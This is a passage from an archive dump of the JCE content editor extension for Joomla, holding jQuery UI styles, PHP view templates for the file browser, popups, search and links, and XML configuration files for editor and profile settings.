i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),this._removeClass(t(e.target),null,"ui-state-active"))}}})});com_jce/editor/libraries/jquery/css/index.html000060400000000054152453734450015520 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/jquery/css/jquery-ui.min.css000060400000007635152453734450016765 0ustar00/*! jQuery UI - v1.11.4 - 2016-05-15
* http://jqueryui.com
* Includes: core.css, draggable.css, resizable.css, sortable.css, slider.css
* Copyright jQuery Foundation and other contributors; Licensed MIT */.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:after,.ui-helper-clearfix:before{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-clearfix{min-height:0}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-autohide .ui-resizable-handle,.ui-resizable-disabled .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:9px;height:9px;right:-5px;bottom:-5px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-slider-vertical .ui-slider-range-min,.uk-jce .ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-slider-horizontal .ui-slider-range-max,.uk-jce .ui-slider-horizontal .ui-slider-range-max{right:0}.ui-resizable-ne,.ui-resizable-nw,.ui-resizable-se,.ui-resizable-sw{border:1px solid #444;background:rgba(255,255,255,.8)}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-max{top:0}.uk-jce .ui-slider{position:relative;text-align:left;background:#d7d7d7}.uk-jce .ui-slider .ui-slider-handle{background:#d7d7d7;position:absolute;z-index:2;width:16px;height:16px;cursor:pointer;border:none;outline:0;border-radius:100%;-moz-border-radius:100%;-webkit-border-radius:100%}.uk-jce .ui-slider .ui-slider-handle.ui-state-active{background:#ccc}.uk-jce .ui-slider .ui-slider-range{background:#a3cae0;position:absolute;z-index:1;font-size:.7em;display:block;border:0}.uk-jce .ui-slider-horizontal{height:2px}.uk-jce .ui-slider-horizontal .ui-slider-handle{top:-8px;margin-left:-8px}.uk-jce .ui-slider-horizontal .ui-slider-range{top:0;height:100%}.uk-jce .ui-slider-horizontal .ui-slider-range-min{left:0}.uk-jce .ui-slider-vertical{width:3px;height:100px}.uk-jce .ui-slider-vertical .ui-slider-handle{left:-7px;margin-left:0;margin-bottom:-8px}.uk-jce .ui-slider-vertical .ui-slider-range{left:0;width:100%}.uk-jce .ui-slider-vertical .ui-slider-range-max{top:0}com_jce/editor/libraries/views/popups/tmpl/index.html000060400000000054152453734450017050 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/popups/tmpl/popups.php000060400000003126152453734450017115 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="uk-form-row uk-grid uk-grid-small uk-margin-small-bottom">
	<label for="popup_list" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_POPUP_TYPE_DESC'); ?>"><?php echo Text::_('WF_POPUP_TYPE'); ?></label>
	<div class="uk-form-controls uk-width-4-5">
		<?php echo $this->popups->getPopupList(); ?>
	</div>
</div>

<?php if ($this->popups->get('text')): ?>

<div class="uk-form-row uk-grid uk-grid-small uk-margin-small-bottom"">
	<label for=" popup_text" class="hastip uk-form-label uk-width-1-5" title="<?php echo Text::_('WF_POPUP_TEXT_DESC'); ?>"><?php echo Text::_('WF_POPUP_TEXT'); ?></label>
	<div class="uk-form-controls uk-width-4-5">
		<input id="popup_text" type="text" value="" />
	</div>
</div>

<?php endif;?>

<?php if ($this->popups->get('url')): ?>

<div class="uk-form-row uk-margin-small-bottom uk-grid uk-grid-small">
	<label for="popup_src" class="uk-form-label uk-width-1-5 hastip" title="<?php echo Text::_('WF_LABEL_URL_DESC'); ?>"><?php echo Text::_('WF_LABEL_URL'); ?></label>
	<div class="uk-form-controls uk-width-4-5">
		<input id="popup_src" type="text" value="" class="uk-input-multiple-disabled browser files" />
	</div>
</div>

<?php endif;?>

<?php echo $this->popups->getPopupTemplates(); ?>com_jce/editor/libraries/views/popups/index.html000060400000000054152453734450016074 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/plugin/index.php000060400000001450152453734450015670 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

?>
<!DOCTYPE html>
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
	<head>
		<meta http-equiv="content-type" content="text/html; charset=utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
		<!-- [head] -->
	</head>
	<body lang="<?php echo $this->language; ?>" id="jce" class="uk-jce <?php echo $this->theme; ?> uk-form uk-form-horizontal" data-plugin="<?php echo $this->getName(); ?>">
		<!-- [body] -->
	</body>
</html>
com_jce/editor/libraries/views/plugin/tmpl/index.html000060400000000054152453734450017020 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/plugin/tmpl/manager.php000060400000001772152453734450017156 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>
<div class="uk-position-cover uk-browser uk-browser-<?php echo $this->filebrowser->get('position'); ?>">
<?php
// render tabs and panels
WFTabs::getInstance()->render();

if ($this->filebrowser->get('position') !== 'external') {
    $this->filebrowser->render();
}
?>
</div>
<div class="actionPanel uk-modal-footer">
    <button class="uk-button uk-button-cancel" id="cancel"><?php echo Text::_('WF_LABEL_CANCEL') ?></button>
    <button class="uk-button uk-button-refresh" id="refresh"><?php echo Text::_('WF_LABEL_REFRESH') ?></button>
    <button class="uk-button uk-button-confirm" id="insert"><?php echo Text::_('WF_LABEL_INSERT') ?></button>
</div>
com_jce/editor/libraries/views/plugin/tmpl/browser.php000060400000002055152453734450017222 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

 \defined('_JEXEC') or die;

 use Joomla\CMS\Client\ClientHelper;
 use Joomla\CMS\Factory;
 use Joomla\Filesystem\File;
 use Joomla\Filesystem\Folder;
 use Joomla\CMS\Language\Text;
 use Joomla\CMS\Uri\Uri;
 
defined('WF_EDITOR') or die('RESTRICTED');
?>
<div class="uk-position-cover uk-browser uk-browser-external">
	<?php $this->filebrowser->render(); ?>

	<input type="hidden" value="" class="filebrowser" data-filebrowser />
</div>
<div class="actionPanel uk-modal-footer">
	<button class="uk-button cancel" id="cancel"><?php echo Text::_('WF_LABEL_CANCEL')?></button>
	<button class="uk-button" id="refresh"><?php echo Text::_('WF_LABEL_REFRESH')?></button>
	<button class="uk-button confirm" id="insert"><?php echo Text::_('WF_LABEL_INSERT')?></button>
</div>
com_jce/editor/libraries/views/plugin/index.html000060400000000054152453734450016044 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/filebrowser/index.html000060400000000054152453734450017071 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/filebrowser/tmpl/default.php000060400000022554152453734450020216 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
?>
<form class="uk-form uk-form-horizontal" onsubmit="return false;" action="<?php echo $this->action; ?>" target="_self" method="post" enctype="multipart/form-data">
  <div id="browser">
    <nav class="uk-navbar uk-grid uk-grid-collapse uk-width-1-1">
      <div id="browser-message" class="uk-width-5-10 uk-navbar-content uk-padding-remove">
        <div id="layout-full-toggle" class="uk-button" role="button">
          <i class="uk-icon uk-icon-small uk-icon-angle-double-up"></i>
          <i class="uk-icon uk-icon-small uk-icon-angle-double-down"></i>
        </div>

        <ul class="uk-breadcrumb pathway uk-margin-remove">
          <li title="<?php echo Text::_('WF_LABEL_HOME', 'Home'); ?>">
            <i class="uk-icon uk-icon-spinner"></i>
            <i class="uk-icon uk-icon-home"></i>
          </li>
        </ul>
      </div>
      <div id="browser-actions" class="uk-width-5-10 uk-navbar-content uk-navbar-flip uk-text-right uk-padding-remove"></div>
    </nav>

    <main class="uk-grid uk-grid-collapse uk-width-1-1 uk-position-cover uk-flex">
      <div class="uk-width-3-10 uk-width-large-1-4 uk-hidden-small">
        <div class="uk-navbar">
          <div class="uk-navbar-content uk-width-1-1 uk-text-center">
            <?php echo Text::_('WF_LABEL_FOLDERS'); ?>
          </div>
        </div>
        <div id="browser-tree">
          <div id="tree-body" class="tree"></div>
        </div>
      </div>
      <div class="uk-flex-item-auto uk-width-4-10 uk-position-relative">
        <div class="uk-navbar">
          <div class="uk-navbar-content uk-width-1-1 uk-grid uk-grid-collapse uk-flex uk-padding-remove uk-position-relative" id="browser-list-actions">
            <!-- Check-All -->
            <button id="check-all" class="uk-width-0-10 uk-button uk-button-link" aria-label="Check All">
              <!--span class="checkbox" role="checkbox" aria-checked="false"></span-->
              <input type="checkbox" />
            </button>

            <!-- Sort Extension -->
            <button class="uk-width-1-10 uk-button uk-padding-remove uk-text-left" id="sort-ext" data-sort="extension" data-sort-type="extension" aria-label="<?php echo Text::_('WF_LABEL_EXTENSION'); ?>">
              <i class="uk-icon-sort-alpha-asc"></i>
              <i class="uk-icon-sort-alpha-desc"></i>
            </button>

            <!-- Sort Name -->
            <button class="uk-flex-item-auto uk-button uk-padding-remove uk-text-left" id="sort-name" data-sort="name" data-sort-type="string" aria-labelledby="sort-name-label">
              <i class="uk-icon-sort-alpha-asc"></i>
              <i class="uk-icon-sort-alpha-desc"></i>
              <label id="sort-name-label" for="sort-name">&nbsp;<?php echo Text::_('WF_LABEL_NAME'); ?></label>
            </button>

            <!-- Sort Date -->
            <button class="uk-width-2-10 uk-button uk-padding-remove uk-text-left uk-hidden-mini" id="sort-date" data-sort="modified" data-sort-type="date" aria-labelledby="sort-date-label" aria-hidden="true">
              <i class="uk-icon-sort-numeric-asc"></i>
              <i class="uk-icon-sort-numeric-desc"></i>
              <label id="sort-data-label" for="sort-date">&nbsp;<?php echo Text::_('WF_LABEL_DATE'); ?></label>
            </button>

            <!-- Sort Size -->
            <button class="uk-width-4-10 uk-button uk-text-left uk-hidden-mini" id="sort-size" data-sort="size" data-sort-type="number" aria-labelledby="sort-size-label" aria-hidden="true">
              <i class="uk-icon-sort-numeric-asc"></i>
              <i class="uk-icon-sort-numeric-desc"></i>
              <label id="sort-size-label" for="sort-size">&nbsp;<?php echo Text::_('WF_LABEL_SIZE'); ?></label>
            </button>

             <!-- Toggle Mode -->
             <button class="uk-button view-mode" id="view-mode" aria-label="View Mode"><i class="uk-icon-list"></i><i class="uk-icon-grid"></i></button>
              <!-- Toggle Details -->
              <button class="uk-button uk-active" id="show-details" aria-label="Toggle Details">
                <i class="uk-icon-columns details"></i>
              </button>
              <!-- Search -->
              <button class="uk-button" id="show-search" aria-label="Search">
                <i class="uk-icon-search"></i>
              </button>

            <div id="searchbox" class="uk-form-icon uk-form-icon-flip uk-hidden uk-flex-item-auto uk-position-absolute uk-position-top" role="popup">
              <input type="search" id="search" class="uk-width-1-1" autocomplete="off" spellcheck="false" autocapitalize="off" />
              <i class="uk-icon uk-icon-cross uk-icon-small"></i>
            </div>
          </div>
        </div>

        <div class="uk-flex uk-flex-nowrap">
          <div class="folder-up uk-flex-1 uk-width-1-1 uk-margin-right" title="<?php echo Text::_('WF_LABEL_FOLDER_UP'); ?>">
            <button class="uk-button uk-button-link uk-width-1-1 uk-text-left uk-padding-remove" aria-label="Up"><i class="uk-width-1-10 uk-icon uk-icon-undo uk-icon-folder-up"></i>...</button>
          </div>
          <div class="grid-size uk-flex" title="<?php echo Text::_('WF_LABEL_GRID_SIZE'); ?>">
            <button class="grid-size-plus uk-button uk-button-link uk-width-1-1 uk-text-left uk-padding-remove" aria-label="<?php echo Text::_('WF_LABEL_GRID_SIZE_INCREASE'); ?>"><i class="uk-width-1-10 uk-icon uk-icon-plus-circle"></i></button>
            <button class="grid-size-minus uk-button uk-button-link uk-width-1-1 uk-text-left uk-padding-remove" aria-label="<?php echo Text::_('WF_LABEL_GRID_SIZE_DECREASE'); ?>"><i class="uk-width-1-10 uk-icon uk-icon-minus-circle"></i></button>
          </div>
        </div>  

        <div id="browser-list"></div>

        <div id="browser-list-limit" class="uk-navbar">
          <div class="uk-width-1-1 uk-grid uk-grid-collapse">
            <ul class="limit-left uk-pagination uk-pagination-left uk-width-1-4">
              <li class="limit-left-end uk-invisible" role="button">
                <a href=""><i class="uk-icon-first"></i></a>
              </li>
              <li class="limit-left uk-invisible" role="button">
                <a href=""><i class="uk-icon-backward"></i></a>
              </li>
            </ul>
            <div class="limit-text uk-navbar-content uk-width-2-4">

              <?php if (count((array) $this->list_limit_options)) : ?>
                <label for="browser-list-limit-select" class="uk-margin-small-right">
                  <?php echo Text::_('WF_LABEL_SHOW'); ?>
                </label>
                <select id="browser-list-limit-select">

                <?php foreach ($this->list_limit_options as $value) : ?>
                  <option value="<?php echo $value; ?>" <?php echo $value == $this->list_limit ? 'selected="selected"' : ''; ?>>
                    <?php echo $value ? $value : Text::_('WF_OPTION_ALL'); ?>
                  </option>
                <?php endforeach; ?>

              </select>

              <?php endif; ?>
            </div>
            <ul class="limit-right uk-pagination uk-pagination-right uk-width-1-4">
              <li class="limit-right uk-invisible" role="button">
                <a href=""><i class="uk-icon-forward"></i></a>
              </li>
              <li class="limit-right-end uk-invisible" role="button">
                <a href=""><i class="uk-icon-last"></i></a>
              </li>
            </ul>
          </div>
        </div>

      </div>

      <div class="uk-width-2-10 uk-position-relative uk-hidden-small">
        <div class="uk-navbar">
          <div class="uk-navbar-content uk-width-1-1 uk-text-center">
            <?php echo Text::_('WF_LABEL_DETAILS'); ?>
          </div>
        </div>
        <div id="browser-details-container" class="uk-grid uk-grid-collapse uk-flex uk-height-1-1">
          <div id="browser-details" class="uk-width-8-10 uk-flex-item-auto uk-height-1-1">
            <div id="browser-details-text" class="uk-height-1-1"></div>
            <div id="browser-details-comment"></div>
          </div>
        </div>
        <div id="browser-details-nav" class="uk-navbar">
          <div class="uk-navbar-content uk-width-1-1 uk-padding-remove">
            <ul class="uk-pagination uk-width-1-1 uk-display-block uk-align-left">
              <li class="details-nav-left uk-pagination-previous uk-invisible uk-width-1-10" role="button">
                <a href=""><i class="uk-icon-backward"></i></a>
              </li>
              <li class="uk-navbar-center details-nav-text uk-width-7-10"></li>
              <li class="details-nav-right uk-pagination-next uk-invisible uk-width-1-10" role="button">
                <a href=""><i class="uk-icon-forward"></i></a>
              </li>
            </ul>
          </div>
        </div>
      </div>

      <div id="browser-buttons" class="uk-text-center">
        <div class="uk-navbar uk-width-1-1" role="presentation">
          <div class="uk-navbar-content"></div>
        </div>
      </div>
  </div>
  </main>
  <input type="hidden" name="<?php echo Session::getFormToken(); ?>" value="1" />
</form>com_jce/editor/libraries/views/filebrowser/tmpl/index.html000060400000000054152453734450020045 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/index.html000060400000000054152453734450014546 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/search/index.html000060400000000054152453734450016013 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/search/tmpl/index.html000060400000000054152453734450016767 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/search/tmpl/search.php000060400000005100152453734450016745 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
?>
<div id="search-browser" class="uk-width-1-1">
    <div class="uk-grid uk-grid-collapse">
        <div id="searchbox" class="uk-form-icon uk-form-icon-flip uk-width-3-4">
            <input type="text" id="search-input" class="uk-width-1-1" aria-label="<?php echo Text::_('WF_LABEL_SEARCH'); ?>" placeholder="<?php echo Text::_('WF_LABEL_SEARCH'); ?>..." />
            <i class="uk-icon uk-icon-close" id="search-clear"></i>
            <i class="uk-icon uk-icon-spinner"></i>
        </div>

        <div class="uk-button-group uk-width-1-4">
            <button class="uk-button uk-width-2-3 uk-width-mini-1-2" id="search-button"><label class="uk-form-label"><?php echo Text::_('WF_LABEL_SEARCH'); ?></label></button>
            <button class="uk-button uk-width-1-3 uk-width-mini-1-2" id="search-options-button" title="<?php echo Text::_('WF_LABEL_SEARCH_OPTIONS'); ?>" aria-label="<?php echo Text::_('WF_LABEL_SEARCH_OPTIONS'); ?>" aria-haspopup="true"><i class="uk-icon uk-icon-cog"></i></button>
        </div>
    </div>

    <div id="search-options" class="uk-dropdown uk-width-1-1">
        <fieldset class="phrases">
            <legend><?php echo Text::_('WF_SEARCH_FOR'); ?>
            </legend>
            <div class="phrases-box">
                <?php echo $this->lists['searchphrase']; ?>
            </div>
            <div class="ordering-box">
                <label for="ordering" class="ordering">
                    <?php echo Text::_('WF_SEARCH_ORDERING'); ?>
                </label>
                <?php echo $this->lists['ordering']; ?>
            </div>
        </fieldset>
        <fieldset class="search_only">
            <legend><?php echo Text::_('WF_SEARCH_SEARCH_ONLY'); ?></legend>
            <ul>
            <?php
foreach ($this->searchareas as $val => $txt):
?>
                <li>
                    <input type="checkbox" name="areas[]" value="<?php echo $val; ?>" id="area-<?php echo $val; ?>" />
                <label for="area-<?php echo $val; ?>">
                    <?php echo Text::_($txt); ?>
                </label>
                </li>
            <?php endforeach;?>
            </ul>
        </fieldset>
    </div>

    <div id="search-result" class="uk-dropdown uk-padding-remove"></div>
</div>
com_jce/editor/libraries/views/links/tmpl/links.php000060400000000666152453734450016507 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

?>
<div id="link-browser" class="tree">
    <ul class="uk-tree-root"><?php echo $this->list; ?></ul>
</div>
com_jce/editor/libraries/views/links/tmpl/index.html000060400000000054152453734450016642 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/views/links/index.html000060400000000054152453734450015666 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/xml/index.html000060400000000054152453734450014211 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/xml/config/editor.xml000060400000010540152453734450015472 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<params group="cleanup">
		<param name="verify_html" type="radio" default="1" label="WF_PARAM_CLEANUP" description="WF_PARAM_CLEANUP_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="schema" type="list" default="mixed" label="WF_PARAM_DOCTYPE" description="WF_PARAM_DOCTYPE_DESC">
			<option value="mixed">WF_PARAM_DOCTYPE_MIXED</option>
			<option value="html4">HTML4</option>
			<option value="html5">HTML5</option>
		</param>
		<param name="entity_encoding" type="list" default="raw" label="WF_PARAM_ENTITY_ENCODING" description="WF_PARAM_ENTITY_ENCODING_DESC">
			<option value="raw">UTF-8</option>
			<option value="named">WF_PARAM_NAMED</option>
			<option value="numeric">WF_PARAM_NUMERIC</option>
		</param>
		<param name="keep_nbsp" type="radio" default="1" label="WF_PARAM_KEEP_NBSP" description="WF_PARAM_KEEP_NBSP_DESC" parent="entity_encoding[raw]">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="pad_empty_tags" type="radio" default="1" label="WF_PARAM_PAD_EMPTY_TAGS" description="WF_PARAM_PAD_EMPTY_TAGS_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="cleanup_pluginmode" type="radio" default="0" label="WF_PARAM_PLUGIN_MODE" description="WF_PARAM_PLUGIN_MODE_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
	</params>
	<params group="format">
		<param name="forced_root_block" type="list" default="p" label="WF_PARAM_ROOT_BLOCK" description="WF_PARAM_ROOT_BLOCK_DESC">
			<option value="p">WF_OPTION_PARAGRAPH</option>
			<option value="div">WF_OPTION_DIV</option>
			<option value="forced_root_block:0|force_p_newlines:1">WF_OPTION_PARAGRAPH_MIXED</option>
			<option value="0">WF_OPTION_LINEBREAK</option>
		</param>
		<!--param name="newlines" type="list" default="0" label="WF_PARAM_NEWLINES" description="WF_PARAM_NEWLINES_DESC"><option value="1">WF_PARAM_LINEBREAKS</option><option value="0">WF_PARAM_PARAGRAPHS</option></param-->
		<param name="content_style_reset" type="radio" default="0" label="WF_PARAM_EDITOR_STYLE_RESET" description="WF_PARAM_EDITOR_STYLE_RESET_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="content_css" type="list" default="1" label="WF_PARAM_EDITOR_GLOBAL_CSS" description="WF_PARAM_EDITOR_GLOBAL_CSS_DESC">
			<option value="0">WF_PARAM_CSS_CUSTOM</option>
			<option value="1">WF_PARAM_CSS_TEMPLATE</option>
			<option value="2">WF_OPTION_DEFAULT</option>
		</param>
		<param name="content_css_custom" type="textarea" rows="2" cols="50" default="" spellcheck="false" placeholder="eg: templates/$template/css/content.css" label="WF_PARAM_CSS_CUSTOM" description="WF_PARAM_CSS_CUSTOM_DESC" parent="content_css[0]" />
		<param name="body_class" type="text" default="" placeholder="eg: content" label="WF_PARAM_EDITOR_BODY_CLASS" description="WF_PARAM_EDITOR_BODY_CLASS_DESC" />
	</params>
	<params group="compression">
		<param name="compress_javascript" type="radio" default="0" label="WF_PARAM_COMPRESS_JAVASCRIPT" description="WF_PARAM_COMPRESS_JAVASCRIPT_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="compress_css" type="radio" default="0" label="WF_PARAM_COMPRESS_CSS" description="WF_PARAM_COMPRESS_CSS_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
		<param name="compress_gzip" type="radio" default="0" label="WF_PARAM_COMPRESS_GZIP" description="WF_PARAM_COMPRESS_GZIP_DESC">
			<option value="1">WF_OPTION_YES</option>
			<option value="0">WF_OPTION_NO</option>
		</param>
	</params>
	<params group="advanced">
		<param name="custom_config" type="textarea" rows="5" cols="50" default="" spellcheck="false" label="WF_PARAM_CUSTOM_CONFIG" description="WF_PARAM_CUSTOM_CONFIG_DESC" />
		<param name="callback_file" type="text" default="" size="50" label="WF_PARAM_CALLBACK" description="WF_PARAM_CALLBACK_DESC" />
	</params>
	<!--params group="other"><param name="help_url" type="text" size="80" default="http://www.joomlacontenteditor.net/index.php?option=com_content&amp;view=article" label="WF_PARAM_HELP_URL" description="WF_PARAM_HELP_URL_DESC" /></params-->
</config>com_jce/editor/libraries/xml/config/index.html000060400000000054152453734450015456 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/xml/config/profiles.xml000060400000020402152453734450016025 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<config>
    <params group="setup">
        <!-- URLS -->
        <param name="relative_urls" type="radio" default="1" label="WF_PARAM_RELATIVE" description="WF_PARAM_RELATIVE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="verify_html" type="list" default="" label="WF_PARAM_CLEANUP" description="WF_PARAM_EDITOR_PROFILE_CLEANUP_DESC">
            <option value="">WF_OPTION_INHERIT</option>
            <option value="0">WF_OPTION_NO</option>
            <option value="1">WF_OPTION_YES</option>
        </param>
        <param name="schema" type="list" default="" label="WF_PARAM_DOCTYPE" description="WF_PARAM_EDITOR_PROFILE_DOCTYPE_DESC">
            <option value="">WF_OPTION_INHERIT</option>
            <option value="mixed">WF_PARAM_DOCTYPE_MIXED</option>
            <option value="html4">HTML4</option>
            <option value="html5">HTML5</option>
        </param>
    </params>
    <params group="typography">
        <param name="forced_root_block" type="list" default="" label="WF_PARAM_ROOT_BLOCK" description="WF_PARAM_EDITOR_PROFILE_ROOT_BLOCK_DESC">
            <option value="">WF_OPTION_INHERIT</option>
            <option value="p">WF_OPTION_PARAGRAPH</option>
            <option value="div">WF_OPTION_DIV</option>
            <option value="forced_root_block:0|force_p_newlines:1">WF_OPTION_PARAGRAPH_MIXED</option>
            <option value="0">WF_OPTION_LINEBREAK</option>
        </param>
        <param name="profile_content_css" type="list" default="2" label="WF_PARAM_EDITOR_PROFILE_CSS" description="WF_PARAM_EDITOR_PROFILE_CSS_DESC">
            <option value="0">WF_PARAM_CSS_ADD</option>
            <option value="1">WF_PARAM_CSS_OVERWRITE</option>
            <option value="2">WF_PARAM_CSS_INHERIT</option>
        </param>
        <param name="profile_content_css_custom" placeholder="eg: templates/$template/css/content.css" type="textarea" rows="2" cols="55" default="" label="WF_PARAM_CSS_CUSTOM" description="WF_PARAM_CSS_CUSTOM_DESC" parent="profile_content_css[0,1]" />
        <param name="custom_colors" type="textarea" rows="3" cols="50" default="" label="WF_PARAM_CUSTOM_COLORS" description="WF_PARAM_CUSTOM_COLORS_DESC" placeholder="eg: #CC0000,#FF0000" />
    </params>
    <params group="filesystem">
		<!-- Plugin parameters -->
        <param name="dir" type="text" default="" pattern="[a-zA-Z0-9_\-\.\/\$]*" size="50" placeholder="images" label="WF_PARAM_DIRECTORY" description="WF_PARAM_DIRECTORY_DESC"/>
        <param name="dir_filter" type="text" repeatable="1" default="" size="50" label="WF_PARAM_DIRECTORY_FILTER" description="WF_PARAM_DIRECTORY_FILTER_DESC"/>

        <param name="name" type="filesystem" group="filesystem" exclude_default="true" default="joomla" label="WF_PARAM_FILESYSTEM" description="WF_PARAM_FILESYSTEM_DESC" />
        <param name="max_size" class="upload_size" pattern="[0-9]*" placeholder="1024" max="" type="text" default="" label="WF_PARAM_UPLOAD_SIZE" description="WF_PARAM_UPLOAD_SIZE_DESC" />
        <param name="upload_conflict" type="list" default="overwrite" label="WF_PARAM_UPLOAD_EXISTS" description="WF_PARAM_UPLOAD_EXISTS_DESC">
            <option value="unique">WF_PARAM_UPLOAD_EXISTS_UNIQUE</option>
            <option value="overwrite">WF_PARAM_UPLOAD_EXISTS_OVERWRITE</option>
        </param>
